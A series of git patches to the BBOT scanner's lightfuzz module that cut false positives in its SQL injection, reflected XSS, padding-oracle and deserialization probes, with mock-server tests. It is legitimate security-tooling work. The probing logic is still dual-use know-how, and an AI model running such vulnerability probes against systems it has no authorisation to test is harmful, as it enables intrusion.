- TS01 diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 077d283743..56bb0a67f5 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -262,6 +262,9 @@ async def cbc_bitflip(self, probe_value, cookies): data, encoding = self.format_agnostic_decode(probe_value) if encoding == "unknown": return + # Stability pre-check: verify the endpoint returns consistent responses + if not await self._check_endpoint_stability(probe_value, encoding, cookies): + return for block_size in self.possible_block_sizes(len(data)): num_blocks = len(data) // block_size if num_blocks < 2: @@ -389,12 +392,42 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook return None return False + async def _check_endpoint_stability(self, probe_value, encoding, cookies): + """Send the same probe value multiple times and verify the endpoint returns consistent responses. + Returns True if stable, False if responses vary for identical inputs (jitter).""" + data, _ = self.format_agnostic_decode(probe_value) + if encoding == "unknown": + return True + # Build a fixed probe to test stability + stability_value = self.format_agnostic_encode(b"\x00" * 16 + data[-16:], encoding) + stability_hashes = [] + for _ in range(3): + r = await self.standard_probe(self.event.data["type"], cookies, stability_value) + if r: + body = r.text + for encoded in [stability_value, stability_value.replace("+", " "), quote(stability_value)]: + body = body.replace(encoded, "") + stability_hashes.append(hash(body)) + if len(set(stability_hashes)) > 1: + self.debug( + f"Endpoint produces unstable responses for identical inputs " + f"({len(set(stability_hashes))}/{len(stability_hashes)} unique), " + f"skipping differential analysis" + ) + return False + return True + async def padding_oracle(self, probe_value, cookies): data, encoding = self.format_agnostic_decode(probe_value) possible_block_sizes = self.possible_block_sizes( len(data) ) # determine possible block sizes for the ciphertext + # Stability pre-check: verify the endpoint returns consistent responses + # for identical inputs before attempting differential analysis + if not await self._check_endpoint_stability(probe_value, encoding, cookies): + return + for block_size in possible_block_sizes: padding_oracle_result = await self.padding_oracle_execute(data, encoding, block_size, cookies) # if we get a negative result first, theres a 1/255 change it's a false negative. To rule that out, we must retry again with possible_first_byte set to false diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 4d2633f34f..094841afb6 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,5 +1,6 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError +from bbot.core.helpers.misc import get_waf_strings import statistics @@ -119,14 +120,32 @@ async def fuzz(self): if "code" in single_quote[1] and ( single_quote[3].status_code != double_single_quote[3].status_code ): - self.results.append( - { - "name": "Possible SQL Injection", - "severity": "HIGH", - "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", - } - ) + # Check if the status code change is due to a WAF, not SQL injection + if single_quote[3].status_code == 403: + waf_detected = any(ws in single_quote[3].text for ws in get_waf_strings()) + if waf_detected: + self.debug( + "Single quote probe returned 403 with WAF signature, " + "suppressing SQL injection finding" + ) + else: + self.results.append( + { + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MEDIUM", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", + } + ) + else: + self.results.append( + { + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MEDIUM", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", + } + ) else: self.debug("Failed to get responses for both single_quote and double_single_quote") except HttpCompareError as e: diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 827afc33e5..c61e6f413e 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -84,21 +84,62 @@ def is_balanced(section, target_index, quote_char): # If we have no matches, the target string is most likely not within quotes return "outside" + def _verify_match_context(self, html, match, context): + """Verify the match appears in the correct HTML context, not just anywhere in the response. + When the same parameter is reflected in multiple contexts with different encoding, + a match found in the wrong context can cause false positives.""" + if "Tag Attribute" in context: + # Verify match is inside a tag (between < and >), not in text content + pos = html.find(match) + while pos != -1: + preceding = html[:pos] + last_open = preceding.rfind("<") + last_close = preceding.rfind(">") + if last_open > last_close: + return True + pos = html.find(match, pos + 1) + return False + elif "Between Tags" in context: + pos = html.find(match) + while pos != -1: + preceding = html[:pos] + last_open = preceding.rfind("<") + last_close = preceding.rfind(">") + if last_close > last_open: + return True + pos = html.find(match, pos + 1) + return False + elif "In Javascript" in context: + in_js_regex = re.compile( + rf"<script\b[^>]*>[^<]*(?:<(?!\/script>)[^<]*)*{re.escape(match)}" + rf"[^<]*(?:<(?!\/script>)[^<]*)*<\/script>" + ) + return bool(in_js_regex.search(html)) + return True + async def check_probe(self, cookies, probe, match, context): # Send the defined probe and look for the expected match value in the response probe_result = await self.standard_probe(self.event.data["type"], cookies, probe) - if probe_result and match in probe_result.text: - self.results.append( - { - "name": "Possible Reflected XSS", - "severity": "MEDIUM", - "confidence": "MEDIUM", - "type": "FINDING", - "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}", - } + if not probe_result or match not in probe_result.text: + return False + + if not self._verify_match_context(probe_result.text, match, context): + self.debug( + f"Probe match found in response but not in the expected context [{context}]. " + f"Likely reflected in a different context with different encoding. Suppressing." ) - return True - return False + return False + + self.results.append( + { + "name": "Possible Reflected XSS", + "severity": "MEDIUM", + "confidence": "MEDIUM", + "type": "FINDING", + "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}", + } + ) + return True async def fuzz(self): lightfuzz_event = self.event.parent diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index bf38e6edb2..9ece412dc9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2853,3 +2853,164 @@ def check(self, module_test, events): assert sqli_postparam_converted_finding_emitted, ( "SQLi POSTPARAM (converted from GETPARAM) FINDING not emitted (try_get_as_post failed)" ) + + +# Padding Oracle Jitter Stability Pre-Check +class Test_Lightfuzz_PaddingOracleDetection_JitterStability(Test_Lightfuzz_PaddingOracleDetection): + """Padding oracle negative test: the endpoint produces different response bodies for identical inputs + (e.g. ADFS with embedded timestamps/nonces). The stability pre-check should detect this and skip.""" + + jitter_counter = 0 + + def request_handler(self, request): + encrypted_value = quote( + "dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q+4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg==" + ) + default_html_response = f""" + <html> + <body> + <form action="/decrypt" method="post"> + <input type="hidden" name="encrypted_data" value="{encrypted_value}" /> + <button type="submit">Decrypt</button> + </form> + </body> + </html> + """ + + if "/decrypt" in request.url and request.method == "POST": + # Every response is unique, simulating ADFS-style dynamic content + Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter += 1 + response_content = f"Error correlation_id={Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter} nonce=abc{Test_Lightfuzz_PaddingOracleDetection_JitterStability.jitter_counter}" + return Response(response_content, status=200) + else: + return Response(default_html_response, status=200) + + def check(self, module_test, events): + web_parameter_extracted = False + padding_oracle_detected = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [encrypted_data] (POST Form" in e.data["description"]: + web_parameter_extracted = True + if e.type == "FINDING": + if "Padding Oracle" in e.data["description"]: + padding_oracle_detected = True + + assert web_parameter_extracted, "Web parameter was not extracted" + assert not padding_oracle_detected, ( + "Padding oracle should NOT be detected when endpoint has jittery responses (stability pre-check should abort)" + ) + + +# XSS Multi-Context Reflection False Positive +class Test_Lightfuzz_xss_multicontext(Test_Lightfuzz_xss): + """XSS negative test: parameter reflected in multiple contexts with different encoding. + Quote survives in text content but is encoded in tag attribute. Should NOT report Tag Attribute XSS.""" + + def request_handler(self, request): + qs = str(request.query_string.decode()) + + parameter_block = """ + <html> + <form action="/" method="GET"> + <input type="text" name="path" value="default"> + <button type="submit">Submit</button> + </form> + </html> + """ + if "path=" in qs: + value = qs.split("path=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Tag attribute context: quotes are URL-encoded (safe) + attr_value = decoded.replace('"', "%22") + # Text content: raw reflection (quotes survive but harmless here) + text_value = decoded + # JS context: everything URL-encoded (safe) + js_value = value + + html = f""" +<html> +<form action="/page?path={attr_value}" method="GET"> + <input type="text" name="path"> +</form> +<h1>{text_value}</h1> +<script>if('{js_value}') {{ }}</script> +</html> + """ + return Response(html, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + web_parameter_emitted = False + tag_attribute_xss_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [path]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + if "Possible Reflected XSS" in e.data["description"] and "Tag Attribute" in e.data["description"]: + tag_attribute_xss_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert not tag_attribute_xss_emitted, ( + "Tag Attribute XSS should NOT be reported when the quote only survives in text content, not in tag attributes" + ) + + +# SQLi WAF False Positive (Akamai-style 403) +class Test_Lightfuzz_sqli_waf(Test_Lightfuzz_sqli): + """SQLi negative test: endpoint returns 403 with WAF signature when single quote is sent. + Should NOT report SQL injection.""" + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + <section class=search> + <form action=/ method=GET> + <input type=text placeholder='Search the blog...' name=search> + <button type=submit class=button>Search</button> + </form> + </section> + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + + if value.endswith("'") and not value.endswith("''"): + # WAF blocks the request with a known WAF string + waf_response = """ + <html> + <head><title>Access Denied + +

    Access Denied

    +

    The requested URL was rejected. Please consult with your administrator.

    + + + """ + return Response(waf_response, status=403) + return Response(parameter_block, status=200) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + web_parameter_emitted = False + sqli_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + if "Possible SQL Injection" in e.data["description"] and "Code Change" in e.data["description"]: + sqli_finding_emitted = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert not sqli_finding_emitted, ( + "SQLi should NOT be reported when single quote probe triggers a WAF 403 response" + ) From 40f6bb90cd952bbf0ca9431fd86f8c0030dcb7d0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 15:24:16 -0400 Subject: [PATCH 477/912] Remove duplicate get_waf_strings() definition --- bbot/core/helpers/misc.py | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 37d39abdd8..22e1cf83d8 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2676,24 +2676,6 @@ async def _cancel_and_drain_remaining(): await _cancel_and_drain_remaining() -def get_waf_strings(): - """ - Returns a list of common WAF (Web Application Firewall) detection strings. - - Returns: - list: List of WAF detection strings - - Examples: - >>> waf_strings = get_waf_strings() - >>> "The requested URL was rejected" in waf_strings - True - """ - return [ - "The requested URL was rejected", - "This content has been blocked", - ] - - def get_waf_strings(): """ Returns a list of common WAF (Web Application Firewall) detection strings. From abb171945960a92c62aafdca2a88079384adc0c4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 19:26:55 -0400 Subject: [PATCH 478/912] Skip Error Resolution for non-standard HTTP status codes (>511) Prevents false positive deserialization findings against endpoints like GlobalProtect that use non-standard status codes (e.g. 512). --- bbot/modules/lightfuzz/submodules/serial.py | 11 +++++++ .../module_tests/test_module_lightfuzz.py | 32 +++++++++++++++++++ 2 files changed, 43 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index b019b1bfb3..69eaee9d5c 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -161,6 +161,17 @@ async def fuzz(self): # if the status code changed to 200, and the response doesn't match our general error exclusions, we have a finding self.debug(f"Potential finding detected for {payload_type}, needs confirmation") + + baseline_status = payload_baseline.baseline.status_code + # Skip Error Resolution if baseline uses a non-standard HTTP status code (>511). + # Non-standard codes (e.g. 512 from GlobalProtect) are application-specific + # and don't reliably indicate an error state that deserialization could "resolve". + if baseline_status > 511: + self.debug( + f"Baseline status {baseline_status} is non-standard (>511), skipping Error Resolution for {payload_type}" + ) + continue + if ( status_code == 200 and "code" in diff_reasons diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 9ece412dc9..fcd5b0c070 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1385,6 +1385,38 @@ def check(self, module_test, events): ) +class Test_Lightfuzz_serial_errorresolution_nonstandard_status(Test_Lightfuzz_serial_errorresolution): + """A baseline with a non-standard status code (>511, e.g. GlobalProtect's 512) + should not produce an Error Resolution finding even if the probe returns 200.""" + + def request_handler(self, request): + dotnet_serial_error_resolved = ( + "Deserialization successful! Object type: System.String" + ) + post_params = request.form + + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + + else: + if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP": + # Non-standard status code (like GlobalProtect's 512) + return Response(self.dotnet_serial_error, status=512) + if post_params["TextBox1"] == "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==": + return Response(dotnet_serial_error_resolved, status=200) + else: + return Response(self.dotnet_serial_error, status=512) + + def check(self, module_test, events): + no_finding_emitted = True + for e in events: + if e.type == "FINDING" and "Error Resolution" in e.data.get("description", ""): + no_finding_emitted = False + assert no_finding_emitted, ( + "False positive Error Resolution finding was emitted for non-standard baseline status code (>511)" + ) + + # CMDi echo canary class Test_Lightfuzz_cmdi(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 79349dda8917e910cbf8bf8ba6891cab02e85c44 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 26 Mar 2026 22:32:14 -0400 Subject: [PATCH 479/912] Fix excavate redirect test to use e.url instead of e.data URL events are now DictHostEvent so e.data is a dict, not a string. --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index cac9cc9040..5a2f44d8a7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1593,7 +1593,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): # The redirect URL itself should be emitted as URL_UNVERIFIED (that's correct behavior) - assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.url for e in events), ( "Redirect URL_UNVERIFIED should still be emitted" ) From 9fc38378415ffc33517f14c81dc82d5f5c06b63d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 13:23:49 -0400 Subject: [PATCH 480/912] Use YARA for WAF string detection instead of Python string-in loops --- bbot/modules/bypass403.py | 13 ++++++++---- bbot/modules/lightfuzz/lightfuzz.py | 3 +++ bbot/modules/lightfuzz/submodules/path.py | 5 ++--- bbot/modules/lightfuzz/submodules/serial.py | 23 ++++++++++++++------- bbot/modules/lightfuzz/submodules/sqli.py | 6 ++++-- 5 files changed, 34 insertions(+), 16 deletions(-) diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index 65cae080b4..4a4b0ec473 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -1,5 +1,6 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule +from bbot.core.helpers.misc import get_waf_strings """ Port of https://github.com/iamj0ker/bypass-403/ and https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122 @@ -80,6 +81,10 @@ class bypass403(BaseModule): meta = {"description": "Check 403 pages for common bypasses", "created_date": "2022-07-05", "author": "@liquidsec"} in_scope_only = True + async def setup(self): + self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True) + return True + async def do_checks(self, compare_helper, event, collapse_threshold): results = set() error_count = 0 @@ -105,10 +110,10 @@ async def do_checks(self, compare_helper, event, collapse_threshold): # In some cases WAFs will respond with a 200 code which causes a false positive if subject_response is not None: - for waf_string in self.helpers.get_waf_strings(): - if waf_string in subject_response.text: - self.debug("Rejecting result based on presence of WAF string") - return + waf_matches = await self.helpers.yara.match(self.waf_yara_rules, subject_response.text) + if waf_matches: + self.debug("Rejecting result based on presence of WAF string") + return if match is False: if str(subject_response.status_code)[0] != "4": diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 231081006f..31329d80e9 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -2,6 +2,7 @@ from bbot.modules.base import BaseModule from bbot.errors import InteractshError +from bbot.core.helpers.misc import get_waf_strings class lightfuzz(BaseModule): @@ -60,6 +61,8 @@ async def setup(self): return False, f"Invalid Lightfuzz submodule ({submodule_name}) specified in enabled_modules" self.submodules[submodule_name] = submodule_class + self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True) + interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values()) if interactsh_needed and not self.interactsh_disable: try: diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 2fabc16ce0..b3bda83596 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -113,9 +113,8 @@ async def fuzz(self): and doubledot_probe[0] is False and doubledot_probe[3] is not None and doubledot_probe[1] != ["header"] - and not any( - waf_string in doubledot_probe[3].text - for waf_string in self.lightfuzz.helpers.get_waf_strings() + and not await self.lightfuzz.helpers.yara.match( + self.lightfuzz.waf_yara_rules, doubledot_probe[3].text ) ): confirmations += 1 diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 69eaee9d5c..95beeb80d1 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,6 +1,5 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError -from bbot.core.helpers.misc import get_waf_strings class serial(BaseLightfuzz): @@ -48,10 +47,20 @@ class serial(BaseLightfuzz): "java.io.optionaldataexception", ] - GENERAL_ERRORS = [ + GENERAL_ERROR_STRINGS = [ "Internal Error", "Internal Server Error", - ] + get_waf_strings() + ] + + @property + def general_error_yara_rules(self): + if not hasattr(self.lightfuzz, "_serial_general_error_rules"): + from bbot.core.helpers.misc import get_waf_strings + + self.lightfuzz._serial_general_error_rules = self.lightfuzz.helpers.yara.compile_strings( + self.GENERAL_ERROR_STRINGS + get_waf_strings(), nocase=True + ) + return self.lightfuzz._serial_general_error_rules def is_possibly_serialized(self, value): # Use the is_base64 method from BaseLightfuzz via self @@ -101,7 +110,6 @@ async def fuzz(self): php_raw_serialization_payloads = self.PHP_RAW_SERIALIZATION_PAYLOADS serialization_errors = self.SERIALIZATION_ERRORS - general_errors = self.GENERAL_ERRORS probe_value = self.incoming_probe_value(populate_empty=False) if probe_value: @@ -172,12 +180,13 @@ async def fuzz(self): ) continue + general_error_matches = await self.lightfuzz.helpers.yara.match( + self.general_error_yara_rules, response.text + ) if ( status_code == 200 and "code" in diff_reasons - and not any( - error in response.text for error in general_errors - ) # ensure the 200 is not actually an error + and not general_error_matches # ensure the 200 is not actually an error ): # Confirm the baseline error state is stable by re-sending the control payload. # If the control also returns 200 now, the original error was transient. diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 094841afb6..8139089956 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,6 +1,5 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError -from bbot.core.helpers.misc import get_waf_strings import statistics @@ -122,7 +121,10 @@ async def fuzz(self): ): # Check if the status code change is due to a WAF, not SQL injection if single_quote[3].status_code == 403: - waf_detected = any(ws in single_quote[3].text for ws in get_waf_strings()) + waf_matches = await self.lightfuzz.helpers.yara.match( + self.lightfuzz.waf_yara_rules, single_quote[3].text + ) + waf_detected = len(waf_matches) > 0 if waf_detected: self.debug( "Single quote probe returned 403 with WAF signature, " From ab42ab30ae18eafe8c75c851ea090a77a701ddfb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 15:48:23 -0400 Subject: [PATCH 481/912] =?UTF-8?q?Fix=20test=20module=20refs:=20httpx=20?= =?UTF-8?q?=E2=86=92=20http=20for=20blasthttp=20migration?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../test_step_2/module_tests/test_module_excavate.py | 2 +- .../test_step_2/module_tests/test_module_lightfuzz.py | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 5a2f44d8a7..b325553590 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1582,7 +1582,7 @@ class TestExcavateRedirectParameterScope(ModuleTestBase): """ targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] async def setup_before_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index fcd5b0c070..4de37b9fe6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2373,7 +2373,7 @@ class Test_Lightfuzz_envelope_isolation_paddingoracle_reflecting(Test_Lightfuzz_ # ECB Mode Detection: ciphertext with repeated 16-byte blocks (A+B+A+B pattern) class Test_Lightfuzz_ECBDetection(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2417,7 +2417,7 @@ def check(self, module_test, events): # ECB Negative: all unique blocks, should NOT detect ECB class Test_Lightfuzz_ECBDetection_Negative(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2463,7 +2463,7 @@ def check(self, module_test, events): # CBC Bit-Flipping Detection: server returns different responses for different byte-position mutations class Test_Lightfuzz_CBCBitflipDetection(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2522,7 +2522,7 @@ def check(self, module_test, events): # CBC Bit-Flipping Negative: server returns identical response regardless of mutation position class Test_Lightfuzz_CBCBitflipDetection_Negative(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { @@ -2563,7 +2563,7 @@ def check(self, module_test, events): # CBC bit-flip probes still produce different responses → detected. class Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "excavate", "lightfuzz"] + modules_overrides = ["http", "excavate", "lightfuzz"] config_overrides = { "interactsh_disable": True, "modules": { From f3be8cda0a2b64dca0638d9466386254fc244d54 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 16:02:58 -0400 Subject: [PATCH 482/912] Compile serial error YARA rules in lightfuzz setup(), simplify sqli WAF guard --- bbot/modules/lightfuzz/lightfuzz.py | 9 ++++++++- bbot/modules/lightfuzz/submodules/serial.py | 8 +------- bbot/modules/lightfuzz/submodules/sqli.py | 16 ++++------------ 3 files changed, 13 insertions(+), 20 deletions(-) diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 31329d80e9..a53e58c4be 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -61,7 +61,14 @@ async def setup(self): return False, f"Invalid Lightfuzz submodule ({submodule_name}) specified in enabled_modules" self.submodules[submodule_name] = submodule_class - self.waf_yara_rules = self.helpers.yara.compile_strings(get_waf_strings(), nocase=True) + waf_strings = get_waf_strings() + self.waf_yara_rules = self.helpers.yara.compile_strings(waf_strings, nocase=True) + # Serial submodule needs WAF + general error strings in one rule + from bbot.modules.lightfuzz.submodules.serial import serial + + self.serial_general_error_yara_rules = self.helpers.yara.compile_strings( + serial.GENERAL_ERROR_STRINGS + waf_strings, nocase=True + ) interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values()) if interactsh_needed and not self.interactsh_disable: diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 95beeb80d1..b3fd4bd915 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -54,13 +54,7 @@ class serial(BaseLightfuzz): @property def general_error_yara_rules(self): - if not hasattr(self.lightfuzz, "_serial_general_error_rules"): - from bbot.core.helpers.misc import get_waf_strings - - self.lightfuzz._serial_general_error_rules = self.lightfuzz.helpers.yara.compile_strings( - self.GENERAL_ERROR_STRINGS + get_waf_strings(), nocase=True - ) - return self.lightfuzz._serial_general_error_rules + return self.lightfuzz.serial_general_error_yara_rules def is_possibly_serialized(self, value): # Use the is_base64 method from BaseLightfuzz via self diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 8139089956..04a0d803d7 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -120,26 +120,18 @@ async def fuzz(self): single_quote[3].status_code != double_single_quote[3].status_code ): # Check if the status code change is due to a WAF, not SQL injection + is_waf = False if single_quote[3].status_code == 403: waf_matches = await self.lightfuzz.helpers.yara.match( self.lightfuzz.waf_yara_rules, single_quote[3].text ) - waf_detected = len(waf_matches) > 0 - if waf_detected: + if waf_matches: self.debug( "Single quote probe returned 403 with WAF signature, " "suppressing SQL injection finding" ) - else: - self.results.append( - { - "name": "Possible SQL Injection", - "severity": "HIGH", - "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", - } - ) - else: + is_waf = True + if not is_waf: self.results.append( { "name": "Possible SQL Injection", From cb6459a87474e705e6bf18a12e6453917614045f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 17:08:16 -0400 Subject: [PATCH 483/912] Unify request_batch/request_custom_batch, fix task leak on early exit --- bbot/core/helpers/web/web.py | 110 ++++++++++++++---------------- bbot/modules/iis_shortnames.py | 4 +- bbot/modules/templates/bucket.py | 4 +- bbot/test/test_step_1/test_web.py | 11 ++- 4 files changed, 58 insertions(+), 71 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 0527f1001a..4bbd8a3195 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -301,78 +301,70 @@ async def request_batch(self, urls, threads=10, **kwargs): """ Given a list of URLs, request them in parallel and yield responses as they come in. + Each entry in ``urls`` can be: + - A plain URL string (uses shared ``**kwargs`` for all requests) + - A ``(url, per_request_kwargs)`` tuple for per-request options + - A ``(url, per_request_kwargs, tracker)`` tuple to attach arbitrary + tracking data that is yielded back alongside the response + + When entries are plain strings, yields ``(url, response)``. + When entries include a tracker, yields ``(url, response, tracker)``. + Args: - urls (list[str]): List of URLs to visit + urls: URLs to visit — strings or ``(url, kwargs[, tracker])`` tuples. threads (int): Max concurrent requests. Defaults to 10. - **kwargs: Keyword arguments to pass through to request() + **kwargs: Default keyword arguments passed to ``request()``. + Overridden by per-request 